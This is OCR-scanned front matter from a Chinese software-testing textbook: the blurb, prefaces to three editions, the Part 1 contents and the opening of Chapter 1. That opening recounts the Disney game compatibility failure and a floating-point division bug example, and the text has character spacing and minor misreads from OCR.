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内 容 简 介 


本 书 共 分 为 三 篇 : 软件 测试 的 原理 与 方法 .技术 和 实践 。 本 书 首先 系统 地 介绍 软件 测试 相关 概念 ,从 不 
同 的 视角 来 探讨 软件 测试 的 本 质 及 其 内 涵 ; 全 面 而 又 系统 地 讲解 了 软件 测试 所 需 的 基本 方法 ,按照 
SWEBOK 3. 0 对 方法 进行 了 重新 分 类 和 组 织 , 能 够 满足 不 同 应 用 系统 的 测试 需求 ; 并 且 简要 地 介绍 了 软件 
测试 规范 软件 测试 过 程 及 其 改进 等 内 容 , 有 利于 读者 提纲 硬 领 地 掌握 软件 测试 的 知识 全 貌 。 

本 书 的 第 2 篇 介绍 了 软件 测试 各 个 层次 (单元 测试 、 集 成 测试 、 系 统 测试 和 验收 测试 ) 的 测试 技术 及 其 工 
具 , 系 统 、 务 实 而 有 效 , 和 业界 的 实践 保持 高 度 一 致 ,学 以 致 用 ; 而 且 还 介绍 了 软件 国际 化 和 本 地 化 的 测试 、 软 
件 测试 自动 化 的 原理 和 框架 ,可 使 读者 有 效 地 提高 动手 能 力 。 为 了 更 好 地 将 测试 方法 和 技术 应 用 于 实际 项 
目 中 ,本 书 的 第 3 篇 从 软件 测试 需求 分 析 、 测 试 计划 开始 ,逐步 深入 测试 用 例 设计 、 测 试 环境 部 署 、 测 试 执行 、 
缺陷 报告 跟踪 与 报告 .测试 结果 分 析 与 报告 ,贯穿 整个 软件 开发 生命 周期 。 

本 书 在 内 容 组 织 上 力求 自然 而 条 理 清晰 ,丰富 而 实用 ,通俗 易 懂 、 循 序 渐进 ,并 提供 了 丰富 的 实例 和 实践 
要 点 ,使 理论 和 实践 能 够 有 机 地 结合 起 来 ,更 好 地 满足 软件 测试 学 科 的 特点 ,使 读者 更 容易 理解 所 学 的 理论 
知识 ,掌握 测试 方法 和 技术 的 应 用 之 道 。 本 书 可 作为 高 等 学 校 软 件 工程 专业 、 计 算 机 应 用 专业 和 相关 专业 的 
教材 ,以 及 其 他 各 类 软件 工程 技术 人 员 的 参考 书 。 
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《软件 测试 方法 和 技术 ;第 2 版 被 选 为 普通 高 等 教育 “十 一 五 ”国家 级 
规划 教材 ,并 得 到 上 百 所 大 学 师 生 的 钟爱 , 选 为 本 科 软 件 测试 课程 的 教 
材 , 获 得 了 良好 的 社会 效益 。 但 另 一 方面 ,作者 也 深 感 其 荣誉 所 带 来 的 压 
力 和 挑战 ,感到 更 有 责任 维护 好 本 书 的 质量 ,及 时 更 新 本 书 ,与 时 俱 进 。 
但 苦于 工作 繁忙 ,更 新 不 够 及 时 ,在 第 2 版 出 版 4 年 后 终于 完成 其 更 新 。 

这 几 年 ,不 仅 Web 应 用 ,移动 设备 的 App 应 用 等 得 到 迅猛 发 展 , 而 
且 软 件 开发 模式 及 其 管理 也 发 生 了 较 大 的 变化 ,大 多 数 软件 企业 从 传统 
的 瀑布 开发 模式 转变 为 敏捷 开发 模式 ,对 整个 软件 工程 带 来 巨大 的 影 
响 , 其 中 也 包括 软件 测试 , 越 来 越 多 的 软件 团队 开始 实施 敏捷 测试 ,探索 
式 测试 以 适应 软件 开发 新 模式 的 需求 。 本 书 的 第 3 版 正 是 在 这 样 一 个 
背景 下 诞生 的 ,再 加 上 软件 工程 知识 体系 SWEBOK 3. 0 业已 颁布 ,第 3 
版 在 第 2 版 的 基础 上 做 了 较 大 的 修改 ,以 满足 软件 测试 教学 新 的 要 求 ， 
更 好 地 和 业界 的 测试 技术 与 实践 保持 同步 ,同时 也 尽 可 能 与 SWEBOK 
3.0 内 容 吻合 ,与 国际 领先 的 技术 和 理念 保持 一 致 。 

在 这 一 版 修改 中 ,只 有 第 1 章 引 论 .第 8 章 软件 本 地 化 测试 .第 11 章 
设计 和 维护 测试 用 例 以 及 第 12 章 部 署 测试 环境 没 做 修改 或 只 做 了 较 少 
修改 ,其 他 各 章 都 有 较 大 修改 ,不 仅 进 行 了 一 些 删 减 ,如 去 掉 * 软 件 过 程 模 
型 .测试 团队 的 构成 和 建设 实验 室 ”等 内 容 ,使 内 容 更 紧凑 、 更 专注 软件 
测试 方法 和 技术 ,而 且 增 加 了 一 些 新 的 内 容 ( 如 敏捷 测试 .探索 式 测试 
等 ) ,对 第 2 版 中 的 一 些 内容 进 行 了 整合 ,将 本 书 从 17 章 整合 为 14 章 , 从 
而 使 第 3 版 结构 更 合理 ,软件 测试 知识 体系 更 丰富 ,能 够 更 好 地 适应 大 学 
的 课程 计划 ,提高 毕业 生 的 竞争 能 力 。 本 书 第 3 版 主要 改动 内 容 如 下 。 

(1) 对 一 些 概念 定义 进行 了 修改 ,和 国际 标准 或 国内 测试 规范 保持 一 
致 ,包括 测试 层次 ,测试 类 型 等 ,并 增加 了 “测试 与 质量 保证 之 间 的 关系 ”。 

(2) 在 第 2 章 根 据 新 的 质量 评估 模型 标准 (ISO 25000 系列 ) 增 加 了 
“内 部 质量 、 外 部 质量 、 使 用 质量 ,这 样 更 有 利于 理解 和 实施 不 同 层 次 的 
测试 : 单元 测试 和 集成 测试 更 侧重 内 部 质量 ,系统 测试 侧重 外 部 质量 ， 
验收 测试 侧重 使 用 质量 。 

(3) 不 再 把 “静态 测试 和 动态 测试 "“ 黑 盒 测 试 和 白 盒 测 试 ” 作 为 测 
试 的 基本 方法 ,而 把 它们 归 为 一 种 测试 形式 或 测试 方法 论 , 从 第 3 章 移 
到 第 2 章 。 

(4) 将 原 第 12 章 组 建 测 试 团队 的 大 部 分 内 容 省 去 ,只 保留 专职 测 
试 人 员 的 责任 和 要 求 ,并 移 到 第 2 章 (2. 8 节 ) 来 进行 介绍 。 


FOREWORD 


第 3 版 前 言 


(5) 第 3 章 对 内 容 没 有 做 过 多 改动 ,只 是 对 结构 进行 了 较 大 改动 ,使 本 教材 的 测试 方法 分 类 
和 SWEBOK 3.0 基本 保持 一 致 ,但 还 是 存在 一 定 差异 ,因为 作者 认为 SWEBOK 3.0 有 些 分 类 也 
不 一 定 合理 , 所 以 本 书 将 测试 方法 分 为 基于 直觉 和 经 验 的 方法 、 基 于 输入 域 的 测试 ,基于 逻辑 覆 
盖 的 测试 ,基于 组 合 及 其 优化 的 测试 ,基于 缺陷 模式 的 测试 ,基于 模型 的 测试 .形式 化 验证 等 。 

(6) 对 第 4 章 内 容 进 行 了 精简 ,例如 , 删 去 软件 测试 管理 和 评判 体系 ,对 测试 模型 内 容 进行 
了 更 新 ,例如 ,将 TMap、TPI 提升 到 TMap NEXT、TPI NEXT 版 本 。 而 且 增 加 了 软件 测试 流派 
相关 内 容 , 帮 助 学 生 扩展 视野 ,提高 学 生 思 维 能 力 。 

(7) 将 第 6 章 的 集成 测试 并 入 第 5 章 单元 测试 ,更 符合 业界 实践 , 即 单元 测试 和 集成 测试 并 
行 实施 ,两 者 关系 更 紧密 。 将 第 8 章 面 向 对 象 的 测试 内 容 进 行 精简 ,并 和 第 5 章 单元 测试 和 集成 
测试 相应 部 分 ,“ 面 向 对 象 的 测试 "不 再 独立 成 章 ,因为 现在 的 软件 几乎 都 是 采用 面向 对 象 的 方法 。 

(8) 第 6 章 系 统 测试 加 强 了 性 能 测试 、 安 全 性 测试 内 容 , 特 别 是 性 能 测试 负载 模式 和 过 
程 . 安 全 性 测试 的 范围 和 方法 ,更 为 全 面 和 专业 。 同 时 ,将 原来 第 7 章 验收 测试 的 兼容 性 测试 、 
第 9 章 基 于 应 用 服务 器 的 测试 大 部 分 内 容 、 第 11 章 软 件 测 试 自 动 化 的 工具 部 分 等 合并 到 这 
章 ,形成 更 完整 的 系统 测试 体系 ,使 本 章 教 学 更 容易 做 到 理论 和 实践 相 结 合 ,在 介绍 方法 或 技 
术 之 后 能 及 时 进行 案例 分 析 , 使 学 生 更 有 兴趣 来 完成 各 类 系统 测试 的 实验 任务 ,学 以 致 用 。 

(9) 第 7 章 验收 测试 修改 不 大 ,除了 将 兼容 性 测试 移 到 第 6 章 , 对 传统 的 验收 测试 和 敏捷 
开发 中 的 验收 测试 差异 进行 了 介绍 ,对 文档 测试 内 容 做 了 适当 的 调整 。 

(10) 由 于 业界 越 来 越 关 注 自 动 化 测试 框架 的 应 用 ,所 以 第 9 章 增 加 了 “自动 化 测试 框 
架 ”, 帮 助 学 生 建立 这 个 重要 的 概念 。 

(11) 第 10 章 测 试 需求 分 析 与 测试 计划 ,虽然 是 新 的 一 章 , 但 主要 内 容 来 源 于 第 2 版 的 第 
17 章 软件 测试 项 目 管理 ,但 在 第 10 章 加 强 了 软件 测试 需求 分 析 , 虽 然 人 们 重视 测试 设计 , 往 
往 忽视 了 测试 需求 分 析 ,但 测试 需求 分 析 是 测试 计划 测试 设计 的 基础 ,必须 给 予 足够 的 关注 。 
无 论 是 传统 测试 还 是 敏捷 测试 ,即使 在 探索 式 测试 中 不 设计 测试 用 例 , 也 要 进行 测试 需求 分 
析 。 这 章 详细 介绍 了 测试 需求 分 析 的 方法 和 具体 技术 ,以 及 如 何 更 好 地 做 好 功能 测试 需求 分 
析 和 非 功能 测试 需求 分 析 。 除 了 测试 需求 分 析 ,本 章 还 详细 介绍 了 测试 的 目标 和 准则 ` 测 试 项 
目的 估算 与 进度 安排 .测试 风险 和 测试 策略 .测试 计划 的 内 容 与 编制 等 内 容 。 

(12) 第 12 章 只 删除 了 建立 测试 实验 室 这 一 节 , 因 为 其 内 容 对 多 数学 生 将 来 的 测试 工作 
和 研究 都 没有 太 大 帮助 。 

(13) 第 13 章 内 容 主 要 来 源 于 第 2 版 的 第 15 章 报告 所 发 现 的 缺陷 ,但 增加 了 一 节 一 一 软 
件 测试 执行 与 跟踪 ,侧重 介绍 测试 执行 过 程 的 要 点 、 测 试 项 目 进度 的 管理 方法 和 测试 过 程 管理 
工具 等 。 

希望 通过 这 样 修改 以 后 ,教师 和 学 生 更 喜欢 本 教材 ,但 同时 也 深 感 其 中 还 存在 一 些 问 题 ， 
而 且 离 完美 还 有 很 大 的 距离 。 无 论 如 何 也 不 能 为 了 追求 完美 ,把 已 经 修改 的 内 容 锁 在 计算 机 
内 ,不 能 给 大 家 带 来 价值 ,而 应 该 拥有 敏捷 的 思想 ,及 时 交付 有 价值 的 成 果 给 大 家 ,为 大 家 的 教 
学 服务 ,作者 将 不 断 努 力 ,持续 获得 大 家 的 反馈 ,持续 修改 ,继续 出 版 其 第 4 版 .第 5 版 …… 持 
续 地 服务 大 家 。 

最 后 ,再 一 次 请 读者 不 音 赐 教 ,及 时 提供 反馈 ,为 下 一 版 的 改进 提出 宝贵 意见 。 


朱 少 民 
2014 年 8 月 于 同济 大 学 嘉定 校区 
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整整 十 年 前 一 一 2000 年 ,我们 就 全 身心 投入 “软件 测试 "这 一 学 科 ， 
但 那 时 ,“ 软 件 测试 ”还 没有 引起 大 家 足够 的 关注 ,虽然 今天 “软件 测试 ” 
这 一 领域 已 欣欣 向 荣 , 软 件 测试 的 培训 很 热 , 从 业 人 员 也 是 一 个 很 大 的 
数字 ,测试 方面 的 图 书 也 是 琳琅 满目 ,但 是 5 年 前 ,软件 测试 方面 的 图 书 
很 少 ,只 有 几 本 从 国外 翻译 过 来 的 。5 年 前 ,我 们 的 (软件 测试 方法 和 技 
术 ) 第 1 版 和 读者 见面 了 , 深 受 读者 喜欢 ,多 次 印刷 ,还 获得 一 些 殊 荣 , 例 
如 第 8 届 大 学 生 图 书 节 畅 销 图 书 一 等 奖 、 被 选 为 普通 高 等 教育 “十 一 五 ” 
国家 级 规划 教材 。 同 时 ,也 陆续 收 到 读者 的 反馈 ,提出 了 不 少 宝贵 的 
意见 。 

为 了 不 带 负 读者 的 厚望 ,我 们 认真 吸取 读者 的 反馈 意见 ,参考 更 多 
的 资料 ,历时 一 年 多 ,对 第 1 版 内 容 做 了 大 量 修改 。 虽 然 保 持 了 本 书 的 
整体 结构 ,但 对 一 些 章节 也 做 了 调整 。 例 如 ,将 * 白 盒 测试 方法 和 黑 盒 测 
试 方法 ”的 基本 内 容 从 原来 (第 1 版 ) 第 5 章 、 第 14 章 移 到 现在 的 第 3 
章 ; 将 测试 策略 .测试 计划 (第 1 版 3.2 和 3.3 节 ) 内 容 移 到 最 后 第 17 
章 , 从 测试 项 目 管理 角度 来 全 面 介 绍 测试 策略 制定 和 测试 计划 ,其 中 测 
试 策略 可 以 看 作 是 测试 计划 过 程 中 的 重要 工作 之 一 。 第 2 版 还 删除 了 
一 些 和 测试 内 容 关 系 不 够 紧密 的 内 容 , 例 如 “1. 1 软件 的 含义 "“1. 2 软 
件 开发 过 程 特性 ”SQA 和 CMM 相关 内 容 “9. 1 应 用 服务 器 的 分 类 和 
特征 ”“16. 1. 2 软件 度量 的 分 工 和 过 程 " 和 “17. 1.1 软件 项 目 管 理 的 共 
性 ”等 ,使 本 书 更 加 专业 , 留 出 更 大 空间 来 介绍 更 多 的 软件 测试 知识 和 技 
术 。 所 以 ,在 第 2 版 增加 了 比较 多 的 内 容 , 包 括 : 
正 交 试验 法 
形式 化 测试 方法 
基于 模型 的 软件 测试 
扩展 有 限 状 态 机 方法 
模糊 测试 方法 
基于 客户 角度 的 Java 测试 
基于 程序 角度 的 Java 测试 
测试 过 程 模型 TMap 
测试 过 程 改进 模型 TMM/TPI/CTP/STEP 
虚拟 机 技术 
自动 化 部 署 
开源 测试 工具 
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”> 嵌入 式 软件 测试 工具 等 

使 之 跟 上 软件 技术 的 发 展 ,更 贴近 软件 测试 领域 的 实际 应 用 ,同时 ,第 2 版 在 内 容 上 更 加 
完整 ,涵盖 了 实际 测试 工作 上 所 需 的 各 项 技能 。 

第 2 版 在 第 1、.2、3、4 章 上 做 了 很 大 改动 ,加 上 前 面 所 述 的 修改 ,使 本 书 在 内 容 组 织 上 更 加 
自然 、 合 理 , 从 基本 概念 到 方法 ,再 从 方法 到 技术 ,逐步 推进 ,使 软件 测试 这 门 课程 学 习 达 到 最 
好 的 效果 。 第 2 版 在 测试 工具 应 用 上 增加 了 分 量 , 不 仅 提高 了 测试 技术 水 平 ,而 且 涉及 面 更 
广 ,从 单元 测试 .GUI 功能 测试 到 服务 器 的 性 能 测试 等 各 个 方面 ,进行 了 更 深入 的 讨论 。 在 性 
能 测试 上 ,也 比 第 1 版 有 更 详细 的 介绍 。 

第 2 版 修订 工作 由 朱 少 民 负 责 和 定稿 ,其 中 第 1、2、3、4、6、7、10、11、12、13、14、15、16、 
17 章 由 朱 少 民 修订 ,第 5、8 章 由 王 顺 修订 ,第 9 章 由 朱 少 民 、 王 顺 共同 修订 。 

本 书 特别 重视 理论 与 实践 相 结 合 , 使 读者 既 能 领会 软件 测试 的 思想 和 方法 ,又 能 将 这 些 方 
法 和 技术 应 用 到 实际 工作 中 去 。 因 此 ,本 书 既 适合 作为 计算 机 应 用 ,计算 机 软件 ,软件 工程 软 
件 测试 等 学 科 的 大 学 教材 ,也 适合 从 事 软件 开发 和 维护 的 工程 技术 人 员 阅 读 ,包括 软件 测试 人 
员 、 开 发 人 员 ,项 目 经 理 和 产品 经 理 。 

由 于 作者 水 平 有 限 , 经 过 修订 ,本 书 仍 会 存在 一 些 问题 ,欢迎 读者 继续 提出 宝贵 意见 ,不 断 
提高 本 教材 的 质量 。 


作 者 
2010 年 2 月 


2002 年 , 国家 信息 产业 部 在 软件 产业 发 展 公报 中 列举 了 我 国 软件 
业 发 展 的 三 大 问题 ,其 中 一 个 问题 就 是 国内 软件 企业 出 口 能 力 很 弱 , 公 
报 指出 “ 随 着 国内 软件 企业 的 发 展 壮大 ,国内 软件 企业 也 在 开始 不 断 开 
拓 海 外 市 场 。 但 由 于 缺乏 有 自主 知识 产权 的 拳头 产品 ,同时 又 缺乏 较 强 
的 项 目 分 析 和 设计 经 验 , 对 国际 市 场 信息 、 先 进 软件 的 设计 、 开 发 方式 缺 
乏 了 解 ,大 多 没有 完善 的 质量 保障 体系 ,对 软件 开发 过 程 缺 乏 有 效 的 管 
理 体 系 , 缺 乏 严格 的 质量 认证 和 规范 化 管理 ,不 能 与 国际 标准 接轨 ,这 些 
都 构成 了 软件 出 口 的 重要 障碍 ”。 由 此 可 见 ,完善 的 质量 保障 体系 、 严 格 
的 质量 认证 是 提高 软件 企业 生产 能 力 和 竞争 能 力 的 重要 因素 。 

软件 测试 是 软件 质量 保证 的 关键 步骤 。 软 件 测试 研究 的 结果 表明 
软件 中 存在 的 问题 发 现 越 早 , 其 软件 开发 费用 就 越 低 ; 在 编码 后 修改 软 
件 缺 陷 的 成 本 是 编码 前 的 10 倍 , 在 产品 交付 后 修改 软件 缺陷 的 成 本 是 
交付 前 的 10 倍 ; 软件 质量 越 高 ,软件 发 布 后 的 维护 费用 越 低 。 另 据 对 
国际 著名 IT 企业 的 统计 ,它们 的 软件 测试 费用 占 整个 软件 工程 所 有 研 
发 费用 的 50% 以 上 。 

相 比 之 下 ,中 国 软件 企业 在 软件 测试 方面 与 国际 水 准 相 比 仍 存在 较 
大 差距 。 首 先 , 在 认识 上 重 开发 . 轻 测 试 ,似乎 程序 是 编 出 来 的 ,忽略 了 
如 何 通过 流程 改进 和 软件 测试 来 保证 产品 或 系统 的 质量 ; 也 没有 认识 
到 软件 项 目的 如 期 完成 不 仅 取决 于 系统 设计 水 平和 代码 实现 能 力 ,而 且 
取决 于 设计 代码, 文档 等 各 方面 的 质量 ; 其 次 ,在 管理 上 表现 为 随意 、 
简单 ,没有 建立 规范 、 有 效 的 软件 测试 管理 体系 ; 另外 ,缺少 自动 化 工具 
的 支持 ,大 多 数 企业 在 软件 测试 时 并 没有 采用 软件 测试 管理 系统 。 所 以 
对 软件 企业 来 说 ,不 仅 要 提高 对 软件 测试 的 认识 ,同时 要 建立 起 独立 的 
软件 测试 组 织 , 采 用 先进 的 测试 技术 、 充 分 运用 测试 工具 \ 不 断 改善 软件 
开发 流程 ,建立 完善 的 软件 质量 保证 的 管理 体系 。 只 有 这 样 才 有 可 能 达 
到 软件 开发 的 预期 目标 ,降低 软件 开发 成 本 和 风险 ,提高 软件 开发 效率 
和 生产 力 ,确保 及 时 地 发 布 高 质量 的 软件 产品 。 

为 了 缩小 国内 软件 测试 水 平和 国际 水 准 的 差距 ,我 们 将 多 年 来 所 积 
累 的 软件 测试 经 验 与 技术 实践 , 依 理论 方法 和 实践 三 个 部 分 整理 成 书 ， 
与 大 家 共享 。 同 时 ,也 将 作者 在 大 学 软件 学 院 所 开设 的 软件 测试 专业 课 
程 、 在 全 国 性 软件 测试 和 质量 保证 高 级 培训 班 以 及 其 他 培训 班 等 上 的 授 
课 经 验 与 交流 体会 ,融入 本 书 之 中 。 

全 书 共 三 篇 ,分 为 17 章 , 涵 盖 了 软件 测试 技术 和 方法 所 涉及 的 各 方 
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第 1 版 前 言 


面 内 容 , 包 括 软 件 测试 团队 的 建立 、 测 试 环境 的 设置 和 维护 、 软 件 测试 的 组 织 和 管理 等 , 既 有 理 
论 方法 ,又 有 实践 经 验 。 

第 1 篇 ,软件 测试 的 原理 , 共 分 为 4 章 来 前 述 软件 测试 的 重要 性 .基本 概念 和 方法 等 。 

第 1 章 介绍 软件 开发 过 程 以 及 在 软件 开发 过 程 中 所 采用 的 过 程 模 型 ,结合 过 程 模型 来 明 
确 软 件 测试 的 地 位 ,并 力图 从 一 些 经 典 的 软件 质量 事故 中 给 读者 一 些 启发 。 

第 2 章 一 开头 就 介绍 “软件 质量 这 个 重要 概念 ,然后 以 此 为 出 发 点 引出 软件 测试 的 基本 
概念 和 方法 、 软 件 缺 陷 (Bug) 的 含义 以 及 软件 测试 的 分 类 、 阶 段 和 过 程 。 

第 3 章 主 要 介绍 软件 测试 策略 和 测试 计划 的 内 涵 、 制 定 方法 ,并 讨论 了 质量 保证 与 测试 的 
区 别 , 以 及 如 何 进行 质量 可 靠 性 测试 风险 性 的 评估 。 

第 4 章 从 软件 质量 标准 ,逐步 深入 到 软件 测试 的 依据 和 规范 ,介绍 了 什么 是 规范 的 软件 测 
试 和 质量 管理 的 评判 体系 ,简单 地 讨论 了 CMM 和 ISO 9001 思想 和 结构 体系 。 

第 2 篇 ,软件 测试 的 技术 , 共 分 为 7 章 来 介绍 软件 测试 在 各 个 阶段 (单元 测试 .集成 测试 、 
系统 测试 .验收 测试 和 安装 测试 ) 的 技术 和 方法 ,并 通过 对 典型 的 应 用 软件 领域 的 测试 特点 讨 
论 ,更 好 地 帮助 读者 深入 理解 本 章 的 核心 内 容 一 一 软件 测试 的 技术 。 

第 5 章 主 要 介绍 单元 测试 的 概念 和 各 种 方法 ,包括 等 价 划分 、 边 界 条 件 确定 \ 程 序 路 径 与 
逻辑 验证 ,程序 状态 变化 等 测试 方法 ,简单 讨论 了 编码 标准 和 规范 、 代 码 的 审查 等 。 

第 6 章 介 绍 集成 测试 和 系统 测试 ,重点 在 系统 测试 上 ,包括 压力 测试 、 容 量 测试 ,性 能 测 
试 、 安 全 性 测试 .可 靠 性 和 容错 性 测试 等 方法 及 其 对 比 。 

第 7 章 内容 集 中 在 验收 测试 阶段 ,其 中 包括 安装 测试 ,涉及 产品 说 明 书 的 验证 .可 用 性 、 兼 
容 性 .可 安装 性 .可 恢复 性 和 文档 等 各 个 方面 的 测试 。 

第 8 章 介绍 目前 比较 流行 的 面向 对 象 软件 这 一 领域 的 各 种 特定 的 测试 方法 ,包括 数据 流 
测试 .面向 对 象 的 单元 和 集成 测试 以 及 基于 UML 的 系统 测试 等 。 

第 9 章 介绍 面向 应 用 服务 器 的 测试 ,具有 内 容 新 .技术 深 的 特点 ,包括 Web 服务 器 .数据 
库 应 用 服务 器 、J2EE 平台 等 应 用 系统 的 测试 技术 。 

第 10 章 介 绍 软件 国际 化 和 本 地 化 的 测试 方法 和 注意 事项 ,国际 化 (118N) 和 本 地 化 
(L10N) 的 应 用 , 随 着 我 国 加 入 WTO 后 越 来 越 多 ,其 测试 越 来 越 受 到 重视 。 

第 11 章 介绍 了 软件 测试 自动 化 的 概念 流行 测试 工具 的 分 类 和 应 用 ,最 后 给 出 了 基于 
IBM-Rational .MI、Compuware 这 三 家 著名 公司 产品 的 整体 解决 方案 。 

第 3 篇 ,软件 测试 的 实践 , 共 分 为 6 章 , 来 介绍 软件 测试 的 团队 和 环境 的 建立 ,以 及 如 何 设 
计 测 试用 例 、 如 何 报 告 软件 缺陷 、 如 何 写 测试 报告 ,最 后 介绍 了 软件 测试 项 目 管理 的 方法 和 
经 验 。 

第 12 章 介 绍 软件 测试 团队 的 任务 、 构 成 ,规模 和 组 织 模型 ,并 详细 介绍 了 测试 团队 的 招 
聘 、 面 试 .激励 发 展 等 实践 经 验 。 

第 13 章 介绍 一 个 标准 的 规范 的 测试 环境 是 如 何 建立 和 配置 起 来 的 ,以 及 如 何 做 好 维护 ， 
满足 测试 对 环境 的 严格 要 求 。 

第 14 章 介 绍 软件 测试 用 例 的 设计 方法 和 经 验 , 不 仅 包括 白 盒 测试 和 黑 盒 测试 的 用 例 设 计 
方法 ,还 包括 用 户 使 用 情景 的 测试 用 例 设 计 方 法 ,以 及 用 例 的 组 织 .维护 和 改善 。 

第 15 章 介 绍 一 般 测试 人 员 所 需要 掌握 的 、 最 基本 的 实践 能 力 一 一 如 何 描 述 、 处 理 和 跟踪 
所 发 现 的 软件 缺陷 。 

第 16 章 介 绍 如何 写 测试 和 软件 质量 分 析 报 告 ,特别 提供 了 评估 系统 测试 的 覆盖 程度 、 产 


品质 量 的 量化 分 析 等 方法 ,以 及 测试 报告 的 模板 和 实例 。 

第 17 章 介 绍 了 国际 化 的 先进 的 软件 测试 项 目的 组 织 与 管理 的 方法 和 经 验 ,包括 测试 资 
源 分 配 和 进度 控制 软件 版 本 和 分 支 的 控制 等 。 

每 章 后 面 都 附 有 小 结 和 思考 题 。 

本 书 最 后 附 有 测试 常用 的 中 英文 术语 对 照常 用 的 各 种 测试 文档 模板 ,参考 文献 和 测试 信 
息 资 源 。 

全 书 由 朱 少 民主 编审 稿 和 定稿 。 第 1、2、10、11、12、16、17 章 由 朱 少 民 编 写 ,第 3、4 章 由 
张 家 银 编写 ,第 5、7、13 章 由 吴 培 宏 编写 ,第 6、8 章 由 王 顺 编写 ,第 9、14 章 由 高 飞 编写 ,第 15 
章 由 朱 晓 婧 编写 。 张 静 参 与 了 第 10 章 的 部 分 编写 工作 、 汪 学 娟 参与 了 附录 的 编写 工作 。 感 谢 
张 勤 、 钟 声 \ 胡 晓 明 、 范 雅 琛 \ 张 建华 等 对 本 书 提出 的 修改 意见 以 及 其 他 工作 ,同时 要 感谢 作者 
的 家 人 、 作 者 所 在 的 网 迅 (WebEx) 公 司 的 大 力 支持 ,感谢 清华 大 学 出 版 社 所 提供 的 合作 机 会 ， 
使 这 本 书 可 以 早日 和 读者 见面 。 

由 于 水 平和 时 间 的 限制 , 书 中 不 可 避免 会 出 现 一 些 玖 漏 ,请 各 界 同仁 不 音 赐教 。 
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第 工 篇 
软件 测试 的 原理 与 方法 


软件 测试 是 软件 开发 过 程 中 的 一 个 重要 组 成 部 分 ,其 目的 就 是 对 软件 产品 (包括 阶段 性 成 
果 ) 进 行 验证 和 确认 ,尽快 尽早 地 发 现在 软件 产品 中 所 存在 的 各 种 问题 。 

软件 测试 作为 软件 质量 保证 的 重要 手段 ,贯穿 整个 软件 生命 周期 ,从 程序 测试 扩展 到 需求 
和 设计 的 评审 ,涵盖 静态 测试 和 动态 测试 ,并 依据 质量 标准 和 测试 规范 ,采用 测试 的 一 些 基本 
方法 和 技术 ,完成 各 项 具体 的 测试 任务 ,以 保证 软件 产品 的 质量 。 本 篇 共 包 括 以 下 4 章 。 

第 1 章 引 论 

第 2 章 软件 测试 的 基本 概念 

第 3 章 软件 测试 方法 

第 4 章 软件 测试 流程 和 规范 


5 引 论 


软件 开发 的 最 基本 要 求 是 按时 、 高 质量 地 发 布 软件 产品 ,而 软件 测 
试 是 软件 质量 保证 的 最 重要 的 手段 之 一 。 对 于 软件 ,不 论 采 用 什么 技术 
和 什么 方法 来 进行 开发 ,软件 产品 中 仍然 或 多 或 少 地 会 存在 错误 和 问 
题 。 采 用 先进 的 开发 方式 和 较 完 善 的 开发 流程 ,可 以 减少 错误 的 引入 ， 
但 是 不 可 能 完全 杜绝 软件 中 的 错误 ,这 些 引入 的 错误 需要 通过 测试 来 
发 现 。 

在 整个 软件 生命 周期 中 ,每 个 阶段 每 个 时 刻 都 存在 软件 测试 活动 ， 
软件 测试 伴随 着 软件 开发 ,以 检验 每 一 个 阶段 性 的 成 果 是 否 符合 质量 要 
求 和 达到 预先 定义 的 目标 , 尽 可 能 早 地 发 现 错误 并 及 时 地 修正 。 


1.1 软件 测试 的 必要 性 


软件 无 处 不 在 ,人 们 在 不 同 的 场合 都 有 可 能 会 不 知 不 觉 地 使 用 软 
件 , 如 日 常生 活 中 的 手机 、 智 能 冰箱 、 新 一 代 的 数字 彩电 、 洗 衣 机 等 。 人 
们 在 日 常 使 用 软件 中 ,也 或 多 或 少 会 碰 到 一 些 不 愉快 的 事情 ,如 信号 显 
示 不 对 ,数据 不 完整 操作 不 灵活 等 。 例 如 ,2002 年 7 月 ,首都 机 场 由 于 
软件 缺陷 影响 通信 传输 ,造成 航班 无 法 起 飞 , 大 批 旅客 滞留 机 场 。 还 有 ， 
2008 年 北京 奥运 会 官方 网 站 第 二 阶段 开始 售票 , 短 短 不 到 半 个 小 时 ,由 
于 性 能 问题 不 能 承受 过 多 的 同时 上 线 购 票 ,造成 网 站 瘫痪 ,不 得 不 停止 
服务 。 但 软件 问题 有 时 引起 的 麻烦 远 不 止 这 些 ,造成 的 危害 可 能 会 非常 
严重 。 有 时 仅仅 因为 软件 系统 中 存在 一 个 很 小 的 错误 , 却 带 来 了 灾难 性 
的 后 果 。 下 面 所 介绍 的 软件 质量 事故 ,都 是 曾经 发 生 的 真实 故事 ,它们 
阐述 了 一 个 简单 而 又 非常 重要 的 命题 一 一 软件 测试 的 必要 性 。 


1.1.1 迪士尼 并 不 总 是 带 来 笑 声 


1994 年 圣诞 节 前 夕 ,迪士尼 公司 发 布 了 第 一 个 面向 儿童 的 多 媒体 
光盘 游戏 “狮子 王 童话 ”。 尽 管 在 此 之 前 ,已 经 有 不 少 公司 在 儿童 计算 机 
游戏 市 场 上 运作 多 年 ,但 对 迪士尼 公司 而 言 ,还 是 第 一 次 进军 这 个 市 场 。 
由 于 迪士尼 公司 的 著名 品牌 和 事先 的 大 力 宣 传 及 良好 的 促销 活动 , 结 
果 ,市 场 销售 情况 非常 不 错 , 该 游戏 成 为 父母 为 自己 孩子 过 圣诞 节 的 必 
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买 礼物 。 但 结果 却 出 人 意料 ,当年 12 月 26 日 ,圣诞 节 后 的 第 一 天 ,迪士尼 公司 的 客户 支持 部 
电话 开始 响 个 不 停 ,不 断 有 人 咨询 ,抱怨 为 什么 游戏 总 是 安装 不 成 功 或 没 法 正常 使 用 。 很 快 ， 
电话 支持 部 门 就 淹没 在 愤怒 家 长 的 责问 声 和 玩 不 成 游戏 孩子 们 的 冉 诉 之 中 ,报纸 和 电视 开始 
不 断 报道 此 事 。 

后 来 证 实 , 迪 士 尼 公 司 没有 对 当时 市 场 上 的 各 种 PC 机 型 进行 完整 的 系统 兼容 性 测试 ,只 
是 在 几 种 PC 机 型 上 进行 了 相关 测试 。 所 以 ,这 个 游戏 软件 只 能 在 少数 系统 中 正常 运行 ,但 在 
大 众 使 用 的 其 他 常见 系统 中 却 不 能 正常 安装 和 运行 。 


1.1.2 一 个 缺陷 造成 了 数 亿 美元 损失 


在 计算 机 的 “计算 器 ”程序 中 输入 以 下 算式 : 
(4195835/3145727) X3145727— 4195835 
如 果 答 案 是 0, 就 说 明 该 计算 机 浮 点 运算 没 问 题 。 如 果 答 案 不 是 0, 就 表示 计算 机 的 浮 点 除法 
存在 缺陷 。 
